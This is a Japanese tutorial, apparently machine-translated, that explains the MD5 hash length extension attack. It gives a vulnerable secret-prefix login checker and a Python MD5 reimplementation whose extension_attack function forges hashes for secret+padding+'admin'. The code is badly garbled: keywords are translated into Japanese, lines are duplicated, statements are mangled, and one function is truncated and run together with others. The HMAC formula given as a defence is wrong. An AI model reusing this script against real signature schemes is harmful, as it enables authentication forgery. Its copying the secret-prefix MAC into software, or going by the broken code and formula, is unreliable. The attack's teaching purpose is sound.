ハッシュは、一般的に「ハッシュ」と翻訳され、「ハッシュ」と直接書き起こされることもあります。ハッシュは、ハッシュ アルゴリズムを使用して、任意の長さの入力 (プレマッピング、プレイメージとも呼ばれます) を固定長の出力に変換します。出力はハッシュ値です。この変換は圧縮マッピングです。つまり、ハッシュ値のスペースは通常、入力のスペースよりもはるかに小さく、異なる入力が同じ出力にハッシュされる可能性があるため、ハッシュ値から入力値を一意に判断することは不可能です。簡単に言えば、任意の長さのメッセージを固定長のメッセージ ダイジェストに圧縮する機能です。 ハッシュ長拡張攻撃は単純に次のようになります。 1. 秘密のハッシュを知る 2. 暗号文の長さを知る(SECRET LENGTH) 暗号文を知らなくても、暗号文+パディング+追加メッセージ(SECRET+PADDING+EXTRA)のハッシュを計算することができます。つまり、暗号文の長さと暗号文のハッシュさえわかれば、暗号文と別のメッセージのハッシュを予測することができます。 0x01 ハッシュアルゴリズムのプロセスを理解する ハッシュ長拡張攻撃に対して脆弱なハッシュ アルゴリズム: SHA ファミリと MD ファミリ。両方のハッシュ アルゴリズム ファミリには共通点が 1 つあります。それは、Merkle-Damgård 構造に基づいていることです。 上の図からわかるように、Merkle-Damgård アルゴリズムのプロセスは次のとおりです。 1. メッセージをn個のメッセージブロックに分割する 2. 最後のメッセージブロックに長さを入力します 3. 各メッセージブロックは入力ベクトルに対して演算を実行し、この演算の結果を次のメッセージブロックの入力ベクトルとして使用します。 0x02 MD5アルゴリズムのプロセスを理解する Merkle-Damgård アルゴリズムのプロセスがわかったので、MD5 アルゴリズムのプロセスを詳しく見てみましょう。RFC 1321 (http://www.ietf.org/rfc/rfc1321.txt) を参照できます。 MD5 アルゴリズムは次の 4 つのステップで構成されます。 - パディングビットの追加
- 長さを追加
- MDバッファを初期化する
- 16ワードブロックでメッセージを処理する(複雑な関数計算)
主に、MD5 アルゴリズムのパディングと初期化ベクトルの生成という最初の 3 つのステップを理解する必要があります。まず、MD5 のビットを埋めるアルゴリズムを見てみましょう。アルゴリズムは次のように機能します。 1. メッセージの長さ、つまりパディング後のメッセージの長さ(mod 512bit = 448bit)に基づいて、パディングするバイト数を決定します。たとえば、メッセージが「message」の場合、メッセージは 56 ビットなので、392 ビットを埋める必要があります。 2. メッセージ長 mod 512 = 448 ビットの場合でも、最小パディングは 1 ビット、最大パディングは 512 ビットです。つまり、メッセージの長さに関係なくパディングを実行する必要があります。 3. パディング情報の最初のバイトは 0x80 で、残りのデータは 0x00 で埋められます。 次に、長さを埋めるプロセスを見てみましょう。 パディングの長さは 64 ビットです。 長さはリトルエンディアンで保存されます。つまり、上位バイトは上位アドレスに配置されます。 メッセージの長さが 2^64 より大きい場合、つまり 2048PB より大きい場合。 64 ビットでメッセージの長さを格納できない場合は、下位 64 ビットが使用されます。 次の図はパディングの例です。ハッシュされるメッセージは文字列「message」なので、次のようになります。 最後に、初期化ベクトルは固定値です。 01 23 45 67 0x67452301 B 89 AB CD EF 0xEFCDAB89 C FE DC BA 98 0x98BADCFE 76 54 32 10 0x10325476 次に、初期化ベクトルとパディングされたメッセージを使用して複雑な関数演算が実行され、最終的にメッセージ「message」の MD5 値は 78e731027d8fd50ed642340b7c9a63b3 になります。 0x03 MD5 長さ拡張攻撃を理解する メッセージが 512 ビットより長い場合、メッセージは 512 ビットに分割され、最後のメッセージ ブロックがパディングされます。 7 バイトまたは 56 ビットのメッセージの MD5 値が 78e731027d8fd50ed642340b7c9a63b3 であるとします。 MD5アルゴリズムがこれを処理すると、まずビットを埋めます。メッセージの内容がわからないため、埋めた結果は次のようになります。 次に、初期ベクトルを使用して複雑な関数演算を実行します。MD5値は78e731027d8fd50ed642340b7c9a63b3なので、結果は次のようになります。 A=0x0231e778 0x0ed58f7d ... 0x0b3442d6 の続きを読む 0xb3639a7c の続きを読む パディングされたメッセージにメッセージ文字列「admin」が追加されると、文字列がパディングされ、前の操作で計算された値が関数操作の初期ベクトルとして使用されます。最終的な MD5 値は e53a681a30ff99e3f6522270ca7db244 です。 これにより、メッセージがわからなくても、メッセージ + パディング + 追加されたメッセージの MD5 値の計算が完了します。 ユーザーのログインを確認するプログラムは次のようになります。 - インポートシステム
- urllibから引用符をインポート
-
- defログイン(パスワード、hash_val):
- m =ハッシュライブラリ.md5 ()
- secret_key = "メッセージ"
- m.update(秘密キー + パスワード)
- (m.hexdigest() == hash_val)の場合:
- 「ログインに成功しました!」と印刷します。
- それ以外:
- 「ログインに失敗しました」と印刷する
-
- __name__ == "__main__" の場合:
- パスワード=引用符なし(sys.argv[1])
- hash_val =引用符なし(sys.argv[2])
- ログイン(パスワード、ハッシュ値)
現在、私たちが知っているのはユーザー名とハッシュのセット、rootとf3c36e01c874865bc081e4ae7af037eaだけです 分析から、secret_key の長さがわかれば、パディングを偽造し、文字列を追加することで secret+padding+追加文字列の MD5 値を計算できることがわかります。追加する文字列が admin であると仮定すると、ハッシュ拡張攻撃を通じて md5(secret+padding+appended string) = e53a681a30ff99e3f6522270ca7db244 を計算できます。次にテストすると、ログインが成功したことが示されます。 md5 拡張攻撃コードは次のとおりです (インターネットから若干変更、使用法: python md5.py attack md5 appended message secret length): - # コーディング:utf-8
- インポートシステム
- 構造体をインポートする
- ハッシュライブラリをインポートする
- binascii をインポートする
-
- 定義 F(x, y, z):
- (x & y) | ((~x) & z) を返す
-
-
- G(x, y, z)を定義します。
- (x & z) | (y & (~z)) を返します
-
-
- H(x, y, z)を定義します。
- x ^ y ^ z を返す
-
-
- 定義I(x, y, z):
- y ^ (x | (~z)) を返す
-
-
- def _rotateLeft(x,n):
- 戻り値 (x < < n ) | (x > > (32-n))
-
-
- def XX(関数、a、b、c、d、x、s、ac):
- 解像度= 0L
- res res = res + a + func(b, c, d)
- 解像度解像度= 解像度 + x
- res res = res + ac
- res res = res & 0xffffffffL
- res = _rotateLeft (res, s)
- res res = res & 0xffffffffL
- res res = res + b
-
- res & 0xffffffffL を返す
-
-
- クラスmd5():
- __init__(self)を定義します。
- 自己.A、自己.B、自己.C、自己.D = (0x67452301L、0xefcdab89L、0x98badcfeL、0x10325476L)
-
- md5_compress(self, buf)を定義します。
- len(buf) != 64の場合:
- ValueError が発生します。「長さ %d の無効なバッファ: %s」% (len(buf), repr(buf))
- inp =構造体.unpack("I"*16, buf)
- a、b、c、 d =自分.A、自分 .B、自分 .C、自分 .D
-
- # ラウンド1。
- S11、 S12 、S13、 S14 = 7、12、17、22
-
- a = XX (F, a, b, c, d, inp[0], S11, 0xD76AA478L) # 1
- d = XX (F, d, a, b, c, inp[1], S12, 0xE8C7B756L) # 2
- c = XX (F, c, d, a, b, inp[2], S13, 0x242070DBL) # 3
- b = XX (F, b, c, d, a, inp[3], S14, 0xC1BDCEEEL) # 4
- a = XX (F, a, b, c, d, inp[4], S11, 0xF57C0FAFL) # 5
- d = XX (F, d, a, b, c, inp[5], S12, 0x4787C62AL) # 6
- c = XX (F, c, d, a, b, inp[6], S13, 0xA8304613L) # 7
- b = XX (F, b, c, d, a, inp[7], S14, 0xFD469501L) # 8
- a = XX (F, a, b, c, d, inp[8], S11, 0x698098D8L) # 9
- d = XX (F, d, a, b, c, inp[9], S12, 0x8B44F7AFL) # 10
- c = XX (F, c, d, a, b, inp[10], S13, 0xFFFF5BB1L) # 11
- b = XX (F, b, c, d, a, inp[11], S14, 0x895CD7BEL) # 12
- a = XX (F, a, b, c, d, inp[12], S11, 0x6B901122L) # 13
- d = XX (F, d, a, b, c, inp[13], S12, 0xFD987193L) # 14
- c = XX (F, c, d, a, b, inp[14], S13, 0xA679438EL) # 15
- b = XX (F, b, c, d, a, inp[15], S14, 0x49B40821L) # 16
-
- # 第2ラウンド。
- S21 、S22、S23、 S24 = 5、9、14、20
-
- a = XX (G, a, b, c, d, inp[1], S21, 0xF61E2562L) # 17
- d = XX (G, d, a, b, c, inp[6], S22, 0xC040B340L) # 18
- c = XX (G, c, d, a, b, inp[11], S23, 0x265E5A51L) # 19
- b = XX (G, b, c, d, a, inp[0], S24, 0xE9B6C7AAL) # 20
- a = XX (G, a, b, c, d, inp[5], S21, 0xD62F105DL) # 21
- d = XX (G, d, a, b, c, inp[10], S22, 0x02441453L) # 22
- c = XX (G, c, d, a, b, inp[15], S23, 0xD8A1E681L) # 23
- b = XX (G, b, c, d, a, inp[4], S24, 0xE7D3FBC8L) # 24
- a = XX (G, a, b, c, d, inp[9], S21, 0x21E1CDE6L) # 25
- d = XX (G, d, a, b, c, inp[14], S22, 0xC33707D6L) # 26
- c = XX (G, c, d, a, b, inp[3], S23, 0xF4D50D87L) # 27
- b = XX (G, b, c, d, a, inp[8], S24, 0x455A14EDL) # 28
- a = XX (G, a, b, c, d, inp[13], S21, 0xA9E3E905L) # 29
- d = XX (G, d, a, b, c, inp[2], S22, 0xFCEFA3F8L) # 30
- c = XX (G, c, d, a, b, inp[7], S23, 0x676F02D9L) # 31
- b = XX (G, b, c, d, a, inp[12], S24, 0x8D2A4C8AL) # 32
-
- # 第3ラウンド。
- S31、S32、S33、 S34 = 4、11、16、23
-
- a = XX (H, a, b, c, d, inp[5], S31, 0xFFFA3942L) # 33
- d = XX (H, d, a, b, c, inp[8], S32, 0x8771F681L) # 34
- c = XX (H, c, d, a, b, inp[11], S33, 0x6D9D6122L) # 35
- b = XX (H, b, c, d, a, inp[14], S34, 0xFDE5380CL) # 36
- a = XX (H, a, b, c, d, inp[1], S31, 0xA4BEEA44L) # 37
- d = XX (H, d, a, b, c, inp[4], S32, 0x4BDECFA9L) # 38
- c = XX (H, c, d, a, b, inp[7], S33, 0xF6BB4B60L) # 39
- b = XX (H, b, c, d, a, inp[10], S34, 0xBEBFBC70L) # 40
- a = XX (H, a, b, c, d, inp[13], S31, 0x289B7EC6L) # 41
- d = XX (H, d, a, b, c, inp[0], S32, 0xEAA127FAL) # 42
- c = XX (H, c, d, a, b, inp[3], S33, 0xD4EF3085L) # 43
- b = XX (H, b, c, d, a, inp[6], S34, 0x04881D05L) # 44
- a = XX (H, a, b, c, d, inp[9], S31, 0xD9D4D039L) # 45
- d = XX (H, d, a, b, c, inp[12], S32, 0xE6DB99E5L) # 46
- c = XX (H, c, d, a, b, inp[15], S33, 0x1FA27CF8L) # 47
- b = XX (H, b, c, d, a, inp[2], S34, 0xC4AC5665L) # 48
-
- # 第4ラウンド。
- S41 、 S42、S43、 S44 = 6、10、15、21
-
- a = XX (I, a, b, c, d, inp[0], S41, 0xF4292244L) # 49
- d = XX (I, d, a, b, c, inp[7], S42, 0x432AFF97L) # 50
- c = XX (I, c, d, a, b, inp[14], S43, 0xAB9423A7L) # 51
- b = XX (I, b, c, d, a, inp[5], S44, 0xFC93A039L) # 52
- a = XX (I, a, b, c, d, inp[12], S41, 0x655B59C3L) # 53
- d = XX (I, d, a, b, c, inp[3], S42, 0x8F0CCC92L) # 54
- c = XX (I, c, d, a, b, inp[10], S43, 0xFFEFF47DL) # 55
- b = XX (I, b, c, d, a, inp[1], S44, 0x85845DD1L) # 56
- a = XX (I, a, b, c, d, inp[8], S41, 0x6FA87E4FL) # 57
- d = XX (I, d, a, b, c, inp[15], S42, 0xFE2CE6E0L) # 58
- c = XX (I, c, d, a, b, inp[6], S43, 0xA3014314L) # 59
- b = XX (I, b, c, d, a, inp[13], S44, 0x4E0811A1L) # 60
- a = XX (I, a, b, c, d, inp[4], S41, 0xF7537E82L) # 61
- d = XX (I, d, a, b, c, inp[11], S42, 0xBD3AF235L) # 62
- c = XX (I, c, d, a, b, inp[2], S43, 0x2AD7D2BBL) # 63
- b = XX (I, b, c, d, a, inp[9], S44, 0xEB86D391L) # 64
-
- 自己.A = (自己.A + a) & 0xffffffffL
- 自己.B = (自己.B + b) & 0xffffffffL
- 自己.C = (自己.C + c) & 0xffffffffL
- 自己.D = (自己.D + d) & 0xffffffffL
- # ' A =%s\ nB =%s\ nC =%s\ nD =%s\n' を出力 % (hex(self.A), hex(self.B), hex(self.C), hex(self.D))
-
- パディングを定義します(self, n, sz = None ):
- sz が None の場合:
- sz = n
- 前= 64 -8
- sz =構造体.pack("Q",sz*8)
- パッド= '\x80'
- 1 + = 1
- n % 64 < = preの場合:
- パッド += '\x00' * (前 - n % 64)
- パッド += sz
- それ以外:
- パッド += '\x00' * (プレ + 64 - n % 64)
- パッド += sz
- リターンパッド
-
- def pad(自分自身、メッセージ):
- msg + self.padding(len(msg)) を返します。
-
- md5_iter を定義します(self、padding_msg):
- len(padding_msg) % 64 == 0 をアサートする
- iが範囲(0、len(padding_msg)、64)内である場合:
- ブロック= padding_msg [i:i+64]
- 自己.md5_compress(パディングメッセージ[i:i+64])
-
- defダイジェスト(自己):
- return struct.pack(' < IIII ', self.A, self.B, self.C, self.D) def hexdigest(self): return binascii.hexlify(self.digest()).decode() def my_md5(self, msg): padding_msg = self .pad(msg) self.md5_iter(padding_msg) return self.hexdigest() # md5 値を使用して、最後のラウンドのマジックナンバーを逆算します。 def compute_magic_number(self, md5str): self.A = struct .unpack("I", md5str[0:8].decode('hex'))[0] self.B = struct .unpack("I", md5str[8:16].decode('hex'))[0] self.C = struct .unpack("I", def extension_attack(self, md5str, str_append, lenth): self.compute_magic_number(md5str) p = self .padding (lenth) padding_msg = self .padding ( len ( str_append ), lenth + len(p) + len(str_append) ) self.md5_iter ( str_append + padding_msg ) __name__ == 'の場合、self.hexdigest()を返します。 "__main__": m = md5 () if len(sys.argv) != 4: #print m.my_md5("123456") src = m .pad(sys.argv[1]) + sys.argv[2] print 'md5 padding - > ',m.my_md5(src)
- それ以外:
- 'md5 extension_attack - > ',m.extension_attack(sys.argv[1], sys.argv[2], を印刷します。
0x04 概要 この攻撃方法の原理は、暗号文の md5 と暗号文の長さがわかれば、連結された暗号文と拡張メッセージの md5 を推測できるというものです。予防方法も非常に簡単です。 方法 1: HMAC アルゴリズムを使用する HMAC(secret||padding)=H(secret||H(secret||padding)) 方法2: シークレットとパディングの位置を入れ替える、つまりMAC(パディング||シークレット) 通常、署名として使用できるのは md5 です。過去には Amazon AWS と Flicker の署名の脆弱性が 2 つありましたが、どちらも md5 ハッシュ長を拡張することで攻撃される可能性があります。最近では、ハッシュ長拡張を使用して悪用される可能性のある PHPWind の脆弱性も発見されました。 しかし、この攻撃方法の現在の開発傾向はCTF 233333に留まるはずです。 0x05 参照 翻訳元: http://blog.chinaunix.net/uid-27070210-id-3255947.htm |